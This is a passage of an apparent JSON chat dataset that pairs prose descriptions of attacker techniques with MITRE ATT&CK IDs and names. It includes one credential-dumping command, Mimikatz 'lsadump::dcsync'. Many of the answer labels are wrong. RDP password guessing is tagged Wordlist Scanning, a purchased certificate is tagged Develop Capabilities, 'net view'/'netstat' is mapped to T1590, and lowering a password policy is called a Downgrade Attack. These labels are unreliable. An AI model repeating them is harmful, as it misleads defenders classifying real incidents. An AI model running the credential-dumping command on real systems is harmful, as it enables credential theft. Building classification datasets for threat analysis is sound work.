                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable file upload feature on a web application to drop a malicious executable onto the server."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gathers the list of active network connections and the processes owning them."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email pretends to be a software update notice and includes an MSI installer attachment that silently installs ransomware on the host."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before delivering the payload, the threat actor compresses the executable and strips out any section headers that could reveal its true functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a signed installer that, upon execution, registers a custom action to start a RAT as part of the installation process."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group uses OpenShift to launch containers that contain data exfiltration tools on compromised Kubernetes clusters."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker delivered a malicious payload by embedding it in a base64‑encoded HTML file that, when opened in a browser, decoded and executed the malicious JavaScript to download the final malware."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware embeds its executable in the metadata of a legitimate file, leveraging hidden file system features to hide the artifact."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating BIOS/UEFI boot order, the adversary forces the machine to download and execute a malicious image from a rogue TFTP service during the pre‑OS phase."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the asynchronous procedure call API to perform remote thread injection of malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals leveraged a compromised privileged account to export financial records and wire‑transfer details from the company's ERP system."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware campaign modifies the motherboard's embedded controller firmware to create a hidden communication channel that persists across OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a SOCKS5 proxy on a compromised host to tunnel malicious traffic to their infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses encrypted FTP (FTPS) to upload stolen files to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a malicious payload by adding a new entry to the com.apple.loginwindow.plist causing it to execute at user login."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses an Azure blob storage container and uploads a malicious ARM template to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes itself to a newly connected external drive, then executes when the drive is opened on a different host."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the password policy from the Windows registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code copies confidential databases and transfers them to an attacker-controlled OneDrive folder."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a contractor's email and harvest the organization's org chart, focusing on identifying executives, HR personnel, and system administrators for later social engineering."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell scripts establish an encrypted WinRM (HTTPS) connection for remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delivered a malicious BIOS flash utility that rewrote the firmware image, patching the system image to embed a persistent rootkit."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by invoking the Windows API to read the Security Account Manager (SAM) and extract password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a pre‑built password list to attempt authentication on the RDP service."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a backdoored PostgreSQL extension to maintain long‑term access to the database server."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a previously dumped password hash to decrypt and use credentials for corporate email login."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deploys a custom C++ loader that reads the SECURITY hive from the registry to harvest stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that monitors for newly attached removable drives and copies itself onto them, enabling future infection when those drives are used elsewhere."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs Mimikatz with the \"lsadump::dcsync\" command to pull domain user password hashes directly from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses DNS TXT records to receive encoded commands from the attacker's DNS server, avoiding detection by using standard DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage malware includes a routine that deobfuscates its own code using a rotating Caesar cipher before any network activity."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware calls the Microsoft Graph \"/groups\" endpoint to discover cloud permission groups within the victim's tenant."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation-state actor infiltrates a software supply chain and replaces legitimate binaries with malicious ones signed with a stolen certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries monitor vulnerability disclosure forums and automatically retrieve exploit code for newly released CVEs."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious executable is launched through a crafted URL protocol handler that invokes PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a small DLL inside the comment fields of a BMP image, which is later loaded by a dropper after decoding the steganographic data."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executed a PowerShell script on macOS that used the chmod command to give execute permissions to a malicious payload in the /tmp directory."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the PrintNightmare exploit to install a malicious print driver that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a management interface to dump the device's configuration database."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious package deploys a kernel-level rootkit that injects code into trusted processes to evade antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a scheduled task that runs a Python script, which encrypts and exfiltrates database dumps to a Dropbox folder weekly."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised SSH key, the adversary edited the site’s CSS files to insert a banner promoting their group."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor module includes functionality to record and exfiltrate VoIP call data via packet capture."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By corrupting the UEFI firmware, the attacker ensures their payload runs before any security software can load."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage a custom web service to push exfiltrated files to the server while simultaneously pulling new payloads, creating a bidirectional communication loop."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom protocol that parcels stolen credentials into messages under the maximum allowed payload size."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a privilege escalation bug to change the group policy that enforces strong password policies, lowering password complexity requirements."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executes 'ifconfig -a' on a Linux system to enumerate network interface details and IP assignments."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious alias to the victim's .bashrc file to execute a payload whenever a new terminal session starts."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvested the network device configuration files stored in a syslog server for later use."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a memory corruption bug to alter the state of a virtual machine's hypervisor, affecting guest VM data."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware drops a PowerShell one‑liner that calls \"Stop-Computer -Force\" to halt the victim's machine before demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the out‑of‑the‑box \"admin\" password for the network switch to alter configuration settings."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group generates self‑signed certificates that mimic trusted vendors to bypass Windows SmartScreen."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses the EFI variables to enumerate firmware drivers present on the machine."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured IMAP service to list all existing mailboxes on the mail server."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor updates the Windows system image by injecting a rootkit into the kernel during the patching process."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential stuffing, the attacker accesses a compromised Zoom admin account and changes meeting security settings."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchased a self‑signed certificate from an underground market to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the macOS Keychain to dump stored passwords and certificates."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign flash‑writes a trojanized UEFI image to the platform firmware, allowing early‑stage execution of arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a PDF file that contains a hidden executable concealed via steganography in the document's metadata."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script accesses the Credential Manager on compromised hosts to collect cached user passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant performs a Wi‑Fi scan to discover surrounding access points and harvests network credentials."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the file permissions of a critical service binary, allowing them to replace it with a malicious version that runs on service start."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs \"net view\" and \"netstat -an\" to discover shared resources and active network connections on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware applies a simple substitution cipher using a shuffled alphabet to encode stolen files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Windows DLL search order, inserting a malicious DLL into a location that is prioritized over the original."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installs a fake invoicing system on a company's network to automatically generate and submit fraudulent payment requests to vendors."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the Windows Registry to pull LSA secret entries, harvesting plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary collects information on network trust dependencies using tools that enumerate privileged access paths across the domain."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder communicates with its beacon using port 12345, a high-numbered, rarely monitored port."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder manipulates the code signing configuration, reducing security controls and enabling execution of unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software changes the authentication token on a network device's management interface, enabling stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages compromised credentials to trigger multi-factor authentication challenges, hoping the user will click \"Allow\" without scrutiny."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries acquire a code‑signing certificate from a fraudulent vendor to sign their malware binaries."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
